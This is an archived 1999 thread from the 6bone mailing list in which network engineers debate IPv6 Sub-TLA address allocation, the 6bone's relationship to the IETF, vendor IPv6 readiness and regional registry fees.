>It seems to me that, if all goes well, a flood of late adopters -- which is
>to say other-than-earliest-conceivable-adopters -- will appear sometime in
>the next year.  Do they continue to go through the 6bone prequalification
>process in order to receive IPv6 allocations, or is there to be another way
>in?

They could choose between the 6bone prequal or the RIR's own policy, at
least as long as the RIRs want to leave the 6bone prequal in place.
Currently is it estimated this would be in the 6-24 month range if it works
well.


Bob


From 6bone-owner  Tue Apr  6 09:35:48 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904061632.MAA0000003289@quarry.zk3.dec.com>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>, Kim Hubbard <kimh@arin.net>,
        Paul Wilson <pwilson@apnic.net>, Mirjam Kuhne <mir@ripe.net>,
        Daniel Karrenberg    <daniel@ripe.net>,
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        Bert Wijnen <WIJNEN@VNET.IBM.COM>
Subject: Re: 6bone Prequalification for Sub-TLA assignment 
In-reply-to: Your message of "Sun, 04 Apr 1999 16:40:56 -0800."
             <4.1.19990330090417.009b2400@imap2.es.net> <4.1.19990330090417.009b2400@imap2.es.net> <4.1.19990330090417.009b2400@imap2.es.net> 
Date: Tue, 06 Apr 1999 12:32:30 -0400
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Bob,

I think this plan will work but some issues I see which I think you
recorded.

1.  Don't we need a 6PP doc?
2.  6Bone Hardening Defined?
3.  Do we do this on the mail list?
4.  What happens to existing pTLAs that don't qualify?

But we need to do something quick and I have not heard a better plan.
And if the IRs are open to this we should move forward is my input.

I don't think the IETF (the entity) is associated with the 6bone in a
manner that would cause one to have concern, and we should clear that up
if folks do think this.  The people working on the 6bone also
participate in the IETF, and the work is presented at IETF meetings but 
the IETF does not bless or veto stuff we do on the 6bone?  Or am I missing 
something more subtle?

The 6bone is I think a good prequalifier for those who want to
participate and in fact do real work with IPv6.  Its not the only
qualifier that should be used but a good one for the IRs to test
applicants.  Then applicants can use the 6bone to ramp up.

What I really like about using the 6bone I don't think was mentioned.

It means folks have to use the IPv6 address in some way and they can't
say they can't because the 6bone is running.  This way folks won't hoard
them up like they did NSAP space and never use them.

But ovverall I think this is a good idea in my input.

What was the end result of /29 vs /35?

thanks
/jim

From 6bone-owner  Tue Apr  6 18:40:17 1999
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Date: Tue, 6 Apr 1999 18:33:34 -0700
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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Jim Bound writes:

> I don't think the IETF (the entity) is associated with the 6bone in a
> manner that would cause one to have concern, and we should clear that up
> if folks do think this.  The people working on the 6bone also
> participate in the IETF, and the work is presented at IETF meetings but 
> the IETF does not bless or veto stuff we do on the 6bone?  Or am I missing 
> something more subtle?

The 6bone is an IETF activity:

http://www.6bone.net/

   The 6bone is an IPv6 testbed to assist in the evolution and deployment
   of IPv6, often referred to as IPng ..., in the Internet.  The 6bone
   activity is part of the ngtrans effort under the IETF.

http://www.6bone.net/ngtrans/

   The IPng Transition (ngtrans) working group of the IETF is under the
   Operations and Management Area, and has as its overall goal assisting
   in and promoting the transition to IPv6, the next generation Internet
   protocol chosen by the IETF community.
   
   Current ngtrans efforts are divided into two separate activities:
   tools and the 6bone.

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Wed Apr  7 09:26:40 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904071626.MAA0000016111@quarry.zk3.dec.com>
To: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment 
In-reply-to: Your message of "Tue, 06 Apr 1999 18:33:34 PDT."
             <19990406183334.E9126@requiem.geecs.org> 
Date: Wed, 07 Apr 1999 12:26:33 -0400
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Seth,

>> I don't think the IETF (the entity) is associated with the 6bone in a
>> manner that would cause one to have concern, and we should clear that up
>> if folks do think this.  The people working on the 6bone also
>> participate in the IETF, and the work is presented at IETF meetings but 
>> the IETF does not bless or veto stuff we do on the 6bone?  Or am I missing 
>> something more subtle?
>
>The 6bone is an IETF activity:
>
>http://www.6bone.net/
>
>   The 6bone is an IPv6 testbed to assist in the evolution and deployment
>   of IPv6, often referred to as IPng ..., in the Internet.  The 6bone
>   activity is part of the ngtrans effort under the IETF.

Well this is written wrong IMO and should say in the last sentence.

The 6bone activity is an effort by implementors to assist with verifying
the work on IPv6 within the IETF.  State and evolution of this activity
is discussed and reported on at the IETF ngtrans WG.

For example if we want to expand the 6bone to connect to StarWars
Network on Planet Mars we don't have to go get approval from the IETF or
the IESG.  As their job is to work on protocols and operational
characteristics of those protocols.  It is the 6bone participants that
make the decisions and direction of the 6bone not the IETF.  

So the above sentence is wrong IMO.

http://www.6bone.net/ngtrans/

   The IPng Transition (ngtrans) working group of the IETF is under the
   Operations and Management Area, and has as its overall goal assisting
   in and promoting the transition to IPv6, the next generation Internet
   protocol chosen by the IETF community.
   
   Current ngtrans efforts are divided into two separate activities:
   tools and the 6bone.

This is clearly wrong because the IESG or IAB got nothing to say about
how we operate and promote the 6bone.

Thanks for catching this error.

So how do we fix this?

I suggest we update the wording at both places.

thanks
/jim


From 6bone-owner  Wed Apr  7 13:09:52 1999
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Date: Wed, 7 Apr 1999 13:03:07 -0700
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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Jim Bound writes:

> >> I don't think the IETF (the entity) is associated with the 6bone in a
> >> manner that would cause one to have concern, and we should clear that up
> >> if folks do think this.  The people working on the 6bone also
> >> participate in the IETF, and the work is presented at IETF meetings but 
> >> the IETF does not bless or veto stuff we do on the 6bone?  Or am I missing 
> >> something more subtle?
> >
> >The 6bone is an IETF activity:
> >
> >http://www.6bone.net/
> >
> >   The 6bone is an IPv6 testbed to assist in the evolution and deployment
> >   of IPv6, often referred to as IPng ..., in the Internet.  The 6bone
> >   activity is part of the ngtrans effort under the IETF.
> 
> Well this is written wrong IMO and should say in the last sentence.
> 
> The 6bone activity is an effort by implementors to assist with verifying
> the work on IPv6 within the IETF.  State and evolution of this activity
> is discussed and reported on at the IETF ngtrans WG.
> 
> For example if we want to expand the 6bone to connect to StarWars
> Network on Planet Mars we don't have to go get approval from the IETF or
> the IESG.  As their job is to work on protocols and operational
> characteristics of those protocols.  It is the 6bone participants that
> make the decisions and direction of the 6bone not the IETF.  
> 
> So the above sentence is wrong IMO.
> 
> http://www.6bone.net/ngtrans/
> 
>    The IPng Transition (ngtrans) working group of the IETF is under the
>    Operations and Management Area, and has as its overall goal assisting
>    in and promoting the transition to IPv6, the next generation Internet
>    protocol chosen by the IETF community.
>    
>    Current ngtrans efforts are divided into two separate activities:
>    tools and the 6bone.
> 
> This is clearly wrong because the IESG or IAB got nothing to say about
> how we operate and promote the 6bone.
> 
> Thanks for catching this error.
> 
> So how do we fix this?
> 
> I suggest we update the wording at both places.

I think Bob Fink wrote most, if not all, of those pages, so I'll wait for what
he has to say about how to interpret them.

I don't think that "being an IETF activity" means that the IETF necessarily
micromanages or even sets policy for something; as I understand it, it just
means that the IETF endorses something and believes that it serves an IETF
function.  But I've never read an official definition of "IETF activity".

I didn't mean to suggest that the IETF would "bless or veto" particular
6bone decisions, just that there does exist an association between them.

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Wed Apr  7 20:39:00 1999
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CC: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Mirjam Kuhne <mir@ripe.net>, Daniel Karrenberg <daniel@ripe.net>,
        Brian E Carpenter <brian@hursley.ibm.com>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
        Tony Hain <tonyhain@microsoft.com>,
        Alain Durand <Alain.Durand@imag.fr>, Randy Bush <randy@psg.com>,
        Bert Wijnen <WIJNEN@VNET.IBM.COM>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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A perspective from a Fortune 5 company with a large IP deployment:

I'm currently in the throes of whether or not to obtain a huge allocation of
ipv4 addresses at great cost (I already have 28 /16s [enough left for about a
year given no surprises] and a usage of about a million or two 1918 private
addresses) for a project that will take years to implement.  If I can go in and
say "we go ipv6, with a no/low cost address allocation big enough for our now
and future needs" I'll get support for that when faced with a $2.5mil ARIN
bill.  NATing 3600 sites for bidirectional connectivity to outside sources is
obviously a virtually impossible task - it's almost easier to throw in v6 with
policy routing and tunnels at endpoints once you start thinking about the
magnitude.

So, I'm in a bind and not in the namespace sense.  I would encourage liberalism
as well to encourage deployment.  It will strongly encourage v6 deployment in my
network and my enterprise is large enough to force vendor compliance.

We all need to keep in mind the business side.  My IP renumbering project, into
1918 addresses, has been a two year "hold it, you know what you're getting us
into?  NATmare."  But the protocol value alone of v6 will not convince me to go
to it.  Economics will.  Availability of released code also will help and
certain vendors are not exactly forthcoming nor helpful.

-Nathan Lane
Senior Network Engineer
Wal-Mart Stores, Inc.


"Perry E. Metzger" wrote:

> Bob Fink <fink@es.net> writes:
> > If Sub-TLAs are given away too easily, they will be encouraging non-ipv6
> > providers to get theirs now, i.e., the land rush model which could easily
> > fill up the TLA/Sub-TLA space with networks, sites, and organizations that
> > simply want to make sure they have a TLA/Sub-TLA, even if they don't need
> > one now or really qualify (i.e., they have no intent on putting up IPv6
> > service and/or are simply not higher level transits).
> >
> > Alternatively, if Sub-TLAs are too hard to get, especially in the early
> > days of IPv6 deployment, it will discourage providers from putting up IPv6
> > service, may give the impression that IPv6 doesn't help the address space
> > problem at all, thus greatly impeding the progress of IPv6 deployment and
> > transition, and even pose a legal risk to the registries.
>
> I think we should err on the side of liberalism. The whole advantage
> of IPv6 is that we don't break the IP end to end model by forcing
> people into NATs. If its too hard to get v6 address space, no one is
> going to have any incentive to move to v6. If you can get v6 space
> when you couldn't get v4 space, people will start wanting it.
>
> Perry


From 6bone-owner  Wed Apr  7 22:29:50 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904080527.BAA0000000864@quarry.zk3.dec.com>
To: Nathan Lane <nathan@montana.com>
cc: perry@piermont.com, Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Mirjam Kuhne <mir@ripe.net>, Daniel Karrenberg <daniel@ripe.net>,
        Brian E Carpenter    <brian@hursley.ibm.com>,
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        Alain Durand <Alain.Durand@imag.fr>, Randy Bush <randy@psg.com>,
        Bert Wijnen <WIJNEN@VNET.IBM.COM>, bound@zk3.dec.com
Subject: Re: 6bone Prequalification for Sub-TLA assignment 
In-reply-to: Your message of "Wed, 07 Apr 1999 22:47:19 CDT."
             <370C26C7.AC22CB60@terminus.com> 
Date: Thu, 08 Apr 1999 01:27:36 -0400
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Nathan,

Well said and we need to get vendors to commit to what and when they are
shipping "publicly".

Most of us have early adopter kits.  I first would suggest discussing
making those kits production enabled until they hit base products. To
get that done requires a request from a customer using IPv6.  It would
be hard but not impossible.

One important issue is what applications from the Host platform must have
been ported for the first release?  The list we have now is:

Net Utilities (ping, finger, ifconfig....etc) 
FTP, TELNET
WWW Server and Browser
Sendmail and SMTP
GATED and ROUTED
Routing DAEMONS
6over4
NFS ????

Will this do it initially?  If not what else do you need?

Compaq Tru64 UNIX will provide in the upcoming 5.0 release the IPv6
Sockets API to begin porting to IPv6 this should be on the streets
summer 1999.  Our kit will continue at some level.

The next release which will be early 2000 will have the above is the
strategy.  But what else do you need in that release?

But again if the vendors are willing to harden their early adopter kits
for production they first need to hear that someone wants them NOW.
It is possible given enough requests to begin discussions.

Also note the above assumes all are compliant to the core specs and a
few others I think will be needed like DHCPv6, until stateless can
really be managed which it will not initially.

Also transition is affected by the fact if the new IPv6 nodes deployed
need to talk out on the Internet (not Intranet) to IPv4 nodes?

Also do you want to give subscribers IPv6 addresses?

I also suggest you forward this and an actual request to 
users@ipv6.org with an initial RFI to see what comes back to you.

thanks
/jim


From 6bone-owner  Wed Apr  7 22:44:07 1999
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From: Jim Bound <bound@zk3.dec.com>
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To: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment 
In-reply-to: Your message of "Wed, 07 Apr 1999 13:03:07 PDT."
             <19990407130307.B30420@requiem.geecs.org> 
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>I think Bob Fink wrote most, if not all, of those pages, so I'll wait for what
>he has to say about how to interpret them.

I agree.

>I don't think that "being an IETF activity" means that the IETF necessarily
>micromanages or even sets policy for something; as I understand it, it just
>means that the IETF endorses something and believes that it serves an IETF
>function.  But I've never read an official definition of "IETF activity".

This is my concern.  What does it mean?

>I didn't mean to suggest that the IETF would "bless or veto" particular
>6bone decisions, just that there does exist an association between them.

I agree there is an association.

What I am doing of late is to clearly differentiate IETF space from
vendor and others space to get Ipv6 deployed.  The decision on when to
ship real IPv6 products, market them, move them, and proactively push
them in the market is not an IETF effort but an industry and market
effort.  

Because "transition" kind of overlaps btw the IETF and the act stated
above is why this has come up at all.

If the market is ready before we can complete what we are working very
hard on for transition in the IETF (and I include myself in that hard
work in the IETF) as an industry and as vendors we have a delimma. I
think this has already happened.  We stand at a crossroad as vendors (at
least some of us) with ready customers who want IPv6 for several reasons
but will need some transition mechanisms potentially in 1999.

That is why I think the "differentiation" is needed for IPv6 deployment
and why the IPv6 Deployment/Users List and IPv6 Forum is moving forward now 
in part.  To assist users with this delimma and provide a forum to
influence the market and vendors to hasten what is happening here with
IPv6.

/jim

From 6bone-owner  Wed Apr  7 23:20:43 1999
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Date: Thu, 8 Apr 1999 18:15:42 +1200
From: Joe Abley <jabley@clear.co.nz>
To: Nathan Lane <nathan@montana.com>
Cc: perry@piermont.com, Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Mirjam Kuhne <mir@ripe.net>, Daniel Karrenberg <daniel@ripe.net>,
        Brian E Carpenter <brian@hursley.ibm.com>,
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        Alain Durand <Alain.Durand@imag.fr>, Randy Bush <randy@psg.com>,
        Bert Wijnen <WIJNEN@VNET.IBM.COM>, jabley@clear.co.nz
Subject: Re: 6bone Prequalification for Sub-TLA assignment
Message-ID: <19990408181542.A38393@clear.co.nz>
References: <4.1.19990330090417.009b2400@imap2.es.net> <871zhzp073.fsf@jekyll.piermont.com> <370C26C7.AC22CB60@terminus.com>
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On Wed, Apr 07, 1999 at 10:47:19PM -0500, Nathan Lane wrote:
> A perspective from a Fortune 5 company with a large IP deployment:
> 
> I'm currently in the throes of whether or not to obtain a huge allocation of
> ipv4 addresses at great cost (I already have 28 /16s [enough left for about a
> year given no surprises] and a usage of about a million or two 1918 private
> addresses) for a project that will take years to implement.  If I can go in and
> say "we go ipv6, with a no/low cost address allocation big enough for our now
> and future needs" I'll get support for that when faced with a $2.5mil ARIN
> bill.

Eh?

APNIC will give me as many addresses as I can justify at no cost, as long
as I am a member. Membership costs US$2000 per year.

Is ARIN so different?


Joe

From 6bone-owner  Thu Apr  8 02:30:45 1999
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Date: Thu, 8 Apr 1999 02:24:01 -0700
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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References: <4.1.19990330090417.009b2400@imap2.es.net> <871zhzp073.fsf@jekyll.piermont.com> <370C26C7.AC22CB60@terminus.com> <19990408181542.A38393@clear.co.nz>
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Joe Abley writes:

> On Wed, Apr 07, 1999 at 10:47:19PM -0500, Nathan Lane wrote:
> > A perspective from a Fortune 5 company with a large IP deployment:
> > 
> > I'm currently in the throes of whether or not to obtain a huge allocation of
> > ipv4 addresses at great cost (I already have 28 /16s [enough left for about a
> > year given no surprises] and a usage of about a million or two 1918 private
> > addresses) for a project that will take years to implement.  If I can go in and
> > say "we go ipv6, with a no/low cost address allocation big enough for our now
> > and future needs" I'll get support for that when faced with a $2.5mil ARIN
> > bill.
> 
> Eh?
> 
> APNIC will give me as many addresses as I can justify at no cost, as long
> as I am a member. Membership costs US$2000 per year.
> 
> Is ARIN so different?

Yes:

http://www.arin.net/feeschedule.html

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Thu Apr  8 13:10:52 1999
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Date: Fri, 9 Apr 1999 08:09:15 +1200
From: Joe Abley <jabley@clear.co.nz>
To: 6BONE List <6bone@ISI.EDU>
Cc: jabley@clear.co.nz
Subject: Re: 6bone Prequalification for Sub-TLA assignment
Message-ID: <19990409080915.A48071@clear.co.nz>
References: <4.1.19990330090417.009b2400@imap2.es.net> <871zhzp073.fsf@jekyll.piermont.com> <370C26C7.AC22CB60@terminus.com> <19990408181542.A38393@clear.co.nz> <19990408022401.I2983@requiem.geecs.org>
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On Thu, Apr 08, 1999 at 02:24:01AM -0700, Seth David Schoen wrote:
> Joe Abley writes:
> 
> > On Wed, Apr 07, 1999 at 10:47:19PM -0500, Nathan Lane wrote:
> > > A perspective from a Fortune 5 company with a large IP deployment:
> > > 
> > > I'm currently in the throes of whether or not to obtain a huge allocation of
> > > ipv4 addresses at great cost (I already have 28 /16s [enough left for about a
> > > year given no surprises] and a usage of about a million or two 1918 private
> > > addresses) for a project that will take years to implement.  If I can go in and
> > > say "we go ipv6, with a no/low cost address allocation big enough for our now
> > > and future needs" I'll get support for that when faced with a $2.5mil ARIN
> > > bill.
> > 
> > Eh?
> > 
> > APNIC will give me as many addresses as I can justify at no cost, as long
> > as I am a member. Membership costs US$2000 per year.
> > 
> > Is ARIN so different?
> 
> Yes:
> 
> http://www.arin.net/feeschedule.html

Does anybody pay this?

For this money, it is far more cost effective to buy an IPLC to an Asian
country so you can legitimately obtain addresses from APNIC as an Asian
operator :/

Incidentally, the APNIC member schedules (small, medium, large) are
related to the number of votes you get as an APNIC member, and are nothing
really to do with the size (or rate of address consumption) of your
organisation.

If you're happy having only a single vote for the annual APNIC meetings,
then there is nothing wrong with joining as a "small" organisation (which
costs US$2000 per year, from memory).


Joe

-- 
Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
Network Architect, CLEAR Communications Ltd       http://www.clear.net.nz/

From 6bone-owner  Thu Apr  8 17:10:35 1999
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Date: Thu, 8 Apr 1999 17:03:42 -0700
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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References: <4.1.19990330090417.009b2400@imap2.es.net> <871zhzp073.fsf@jekyll.piermont.com> <370C26C7.AC22CB60@terminus.com> <19990408181542.A38393@clear.co.nz> <19990408022401.I2983@requiem.geecs.org> <19990409080915.A48071@clear.co.nz>
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Joe Abley writes:

> > > Is ARIN so different?
> > 
> > Yes:
> > 
> > http://www.arin.net/feeschedule.html
> 
> Does anybody pay this?

Well, you can take a look at the number of entries at whois.arin.net to give
some idea.  On the other hand, it's not clear to me whether ARIN is actually
assessing fees under this schedule on people who registered for address space
pre-ARIN (i.e. with InterNIC).  I know people who have old delegations still
listed at whois.arin.net but have never received a bill from ARIN.

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Thu Apr  8 18:52:41 1999
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Date: Thu, 08 Apr 1999 18:48:43 -0700
To: Jim Bound <bound@zk3.dec.com>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone Prequalification for Sub-TLA assignment 
Cc: 6BONE List <6bone@ISI.EDU>
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Jim,

Regarding your comments on the 6bone and its relationship to the IETF, I
believe you are closer to right than wrong!

I'll put together some slightly better words to say what I think the
situation is and let the list know.


Thanks for commenting on it.

Bob

PS: Thanks to Seth as well as it helps to have someone throw words back at
you to make one think about what they mean :-)

===
At 12:26 PM 4/7/99 -0400, Jim Bound wrote:
>Seth,
>
>>> I don't think the IETF (the entity) is associated with the 6bone in a
>>> manner that would cause one to have concern, and we should clear that up
>>> if folks do think this.  The people working on the 6bone also
>>> participate in the IETF, and the work is presented at IETF meetings but 
>>> the IETF does not bless or veto stuff we do on the 6bone?  Or am I missing 
>>> something more subtle?
>>
>>The 6bone is an IETF activity:
>>
>>http://www.6bone.net/
>>
>>   The 6bone is an IPv6 testbed to assist in the evolution and deployment
>>   of IPv6, often referred to as IPng ..., in the Internet.  The 6bone
>>   activity is part of the ngtrans effort under the IETF.
>
>Well this is written wrong IMO and should say in the last sentence.
>
>The 6bone activity is an effort by implementors to assist with verifying
>the work on IPv6 within the IETF.  State and evolution of this activity
>is discussed and reported on at the IETF ngtrans WG.
>
>For example if we want to expand the 6bone to connect to StarWars
>Network on Planet Mars we don't have to go get approval from the IETF or
>the IESG.  As their job is to work on protocols and operational
>characteristics of those protocols.  It is the 6bone participants that
>make the decisions and direction of the 6bone not the IETF.  
>
>So the above sentence is wrong IMO.
>
>http://www.6bone.net/ngtrans/
>
>   The IPng Transition (ngtrans) working group of the IETF is under the
>   Operations and Management Area, and has as its overall goal assisting
>   in and promoting the transition to IPv6, the next generation Internet
>   protocol chosen by the IETF community.
>   
>   Current ngtrans efforts are divided into two separate activities:
>   tools and the 6bone.
>
>This is clearly wrong because the IESG or IAB got nothing to say about
>how we operate and promote the 6bone.
>
>Thanks for catching this error.
>
>So how do we fix this?
>
>I suggest we update the wording at both places.
>
>thanks
>/jim



From 6bone-owner  Fri Apr  9 04:22:18 1999
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Date: Thu, 08 Apr 1999 18:48:43 -0700
To: Jim Bound <bound@zk3.dec.com>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone Prequalification for Sub-TLA assignment 
Cc: 6BONE List <6bone@ISI.EDU>
In-Reply-To: <199904071626.MAA0000016111@quarry.zk3.dec.com>
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Jim,

Regarding your comments on the 6bone and its relationship to the IETF, I
believe you are closer to right than wrong!

I'll put together some slightly better words to say what I think the
situation is and let the list know.


Thanks for commenting on it.

Bob

PS: Thanks to Seth as well as it helps to have someone throw words back at
you to make one think about what they mean :-)

===
At 12:26 PM 4/7/99 -0400, Jim Bound wrote:
>Seth,
>
>>> I don't think the IETF (the entity) is associated with the 6bone in a
>>> manner that would cause one to have concern, and we should clear that up
>>> if folks do think this.  The people working on the 6bone also
>>> participate in the IETF, and the work is presented at IETF meetings but 
>>> the IETF does not bless or veto stuff we do on the 6bone?  Or am I missing 
>>> something more subtle?
>>
>>The 6bone is an IETF activity:
>>
>>http://www.6bone.net/
>>
>>   The 6bone is an IPv6 testbed to assist in the evolution and deployment
>>   of IPv6, often referred to as IPng ..., in the Internet.  The 6bone
>>   activity is part of the ngtrans effort under the IETF.
>
>Well this is written wrong IMO and should say in the last sentence.
>
>The 6bone activity is an effort by implementors to assist with verifying
>the work on IPv6 within the IETF.  State and evolution of this activity
>is discussed and reported on at the IETF ngtrans WG.
>
>For example if we want to expand the 6bone to connect to StarWars
>Network on Planet Mars we don't have to go get approval from the IETF or
>the IESG.  As their job is to work on protocols and operational
>characteristics of those protocols.  It is the 6bone participants that
>make the decisions and direction of the 6bone not the IETF.  
>
>So the above sentence is wrong IMO.
>
>http://www.6bone.net/ngtrans/
>
>   The IPng Transition (ngtrans) working group of the IETF is under the
>   Operations and Management Area, and has as its overall goal assisting
>   in and promoting the transition to IPv6, the next generation Internet
>   protocol chosen by the IETF community.
>   
>   Current ngtrans efforts are divided into two separate activities:
>   tools and the 6bone.
>
>This is clearly wrong because the IESG or IAB got nothing to say about
>how we operate and promote the 6bone.
>
>Thanks for catching this error.
>
>So how do we fix this?
>
>I suggest we update the wording at both places.
>
>thanks
>/jim




From 6bone-owner  Sat Apr 10 08:48:03 1999
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Seth David Schoen <schoen@uclink4.berkeley.edu>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment 
In-reply-to: Your message of Thu, 08 Apr 1999 02:24:01 PDT.
             <19990408022401.I2983@requiem.geecs.org> 
Date: Sat, 10 Apr 1999 17:47:54 +0200
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 In your previous mail you wrote:

   > Is ARIN so different?
   
   http://www.arin.net/feeschedule.html
   
=> my concern with this topic is the xxx-TLA assignment can be
interpreted as an attack against the regional NIC business...
Obviously IPv4 addresses are not for free and the fee schedule
of IPv4 cannot be translated easily to IPv6.
I'd like to say the problem is with assignment/allocation
procedures, ie a technical issue, but this doesn't explain
why it is still impossible today to get an *official* IPv6
address... I can see a clear danger here!

Francis.Dupont@inria.fr

PS: I expect we'll get the new proposal before the next RIPE
meeting in Vienna in order to have a technical discussion
about it...

From 6bone-owner  Sat Apr 10 11:40:11 1999
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Date: Wed, 7 Apr 1999 22:30:19 +0200
From: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
To: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment (really about addresses)
References: <95bf4e0.243a264d@aol.com> <19990405162218.M30703@requiem.geecs.org>
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On Mon, Apr 05, 1999 at 04:22:18PM -0700, Seth David Schoen wrote:
>In the old days of IPv4, there was no charge for IPv4 allocations.  (Some
>people I know managed to get portable class C allocations when they were
>fourteen to sixteen years old, without particularly extensive justification
>about what they were going to do with them.  That's how liberal the
>allocations were before the Internet became a household word.)

Unfortunately, this is how things have become now. If IPv4 address delegations
had been planned a little better, I (stupid as I may be) think there would
have been no problems at all. Seriously, IPv4 allows for up to 4294967296
(256 ** 4) addresses, and if they hadn't been giving them out in chunks of 256,
I (being 15 years old, soon 16) wouldn't have needed all the trouble that IP
masquerading gives. (There are still some, but at least things work out OK,
thanks to Linux.)

Therefore I welcome IPv6. The problem (for me) so far with 6bone seems to get
connected for the everyday user. I've got an internal IPv6 network up and
running, but nobody seems to want to give me a tunnel to the 6bone, especially
as I'm connected with my 28.800 modem and have to use dynamic IP. The answer
I get is generally `educational institutions only'. Could anybody help? (I
live in Norway.) Sorry for being a bit off-topic here, but I still feel this
is part of the discussion ;-)

>If everything is done right, there should be no scarcity of addresses, and
>consequently no need to pay for them, and no market for them.

As in the case of IPv4. (Though I've heard something about fragmented router
tables being a problem... Is this why they only give out in 256 and 256?)

/* Steinar */

From 6bone-owner  Sat Apr 10 14:48:56 1999
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Date: Sat, 10 Apr 1999 12:15:02 -0700
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6BONE List <6bone@ISI.EDU>
Subject: History and economics of fees? (was: Re: 6bone Prequalification...)
Mail-Followup-To: 6BONE List <6bone@isi.edu>
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Francis Dupont writes:

>  In your previous mail you wrote:
> 
>    > Is ARIN so different?
>    
>    http://www.arin.net/feeschedule.html
>    
> => my concern with this topic is the xxx-TLA assignment can be
> interpreted as an attack against the regional NIC business...
> Obviously IPv4 addresses are not for free and the fee schedule
> of IPv4 cannot be translated easily to IPv6.

How did the regional NICs appear the first time around?  I remember when they
showed up, but I wasn't really following Internet architecture matters yet.

Brian Carpenter is right that these delegation and pricing issues aren't going
to be solved suddenly on this list, but I'm curious about that part of the
historical context.

At some time before the regional NICs, IPv4 addresses _were_ "free"; the
explanation I'm familiar with is that the InterNIC's registration services
were being subsized by the US government.  While I certainly don't want to
see a return to such a subsidy, I'm also very curious about the economics
of the process; the fees have been said to exist in order to cover registries'
costs (which makes sense) and also in order to conserve scarce IPv4 address
space (which also makes sense).  But now IPv6 addresses are not scarce, at
least not in the same sense that IPv4 addresses are.  Shouldn't this, as I've
heard suggested, cause the scarcity portion of the fees (if registration fees
can actually be broken down this way) to evaporate?

Is this off-topic for this list?  If so, is it on-topic somewhere else?

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Sat Apr 10 16:56:20 1999
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Date: Sat, 10 Apr 1999 16:26:31 -0700
To: Seth David Schoen <schoen@uclink4.Berkeley.EDU>,
        6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: History and economics of fees? (was: Re: 6bone
  Prequalification...)
In-Reply-To: <19990410121502.A6329@requiem.geecs.org>
References: <199904101547.RAA21071@givry.inria.fr>
 <19990408022401.I2983@requiem.geecs.org>
 <199904101547.RAA21071@givry.inria.fr>
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Seth,

At 12:15 PM 4/10/99 -0700, Seth David Schoen wrote:
...
>How did the regional NICs appear the first time around?  I remember when they
>showed up, but I wasn't really following Internet architecture matters yet.
>
>
>Brian Carpenter is right that these delegation and pricing issues aren't going
>to be solved suddenly on this list, but I'm curious about that part of the
>historical context.
>
>
>At some time before the regional NICs, IPv4 addresses _were_ "free"; the
>explanation I'm familiar with is that the InterNIC's registration services
>were being subsized by the US government.  While I certainly don't want to
>see a return to such a subsidy, I'm also very curious about the economics
>of the process; the fees have been said to exist in order to cover registries'
>costs (which makes sense) and also in order to conserve scarce IPv4 address
>space (which also makes sense).  But now IPv6 addresses are not scarce, at
>least not in the same sense that IPv4 addresses are.  Shouldn't this, as I've
>heard suggested, cause the scarcity portion of the fees (if registration fees
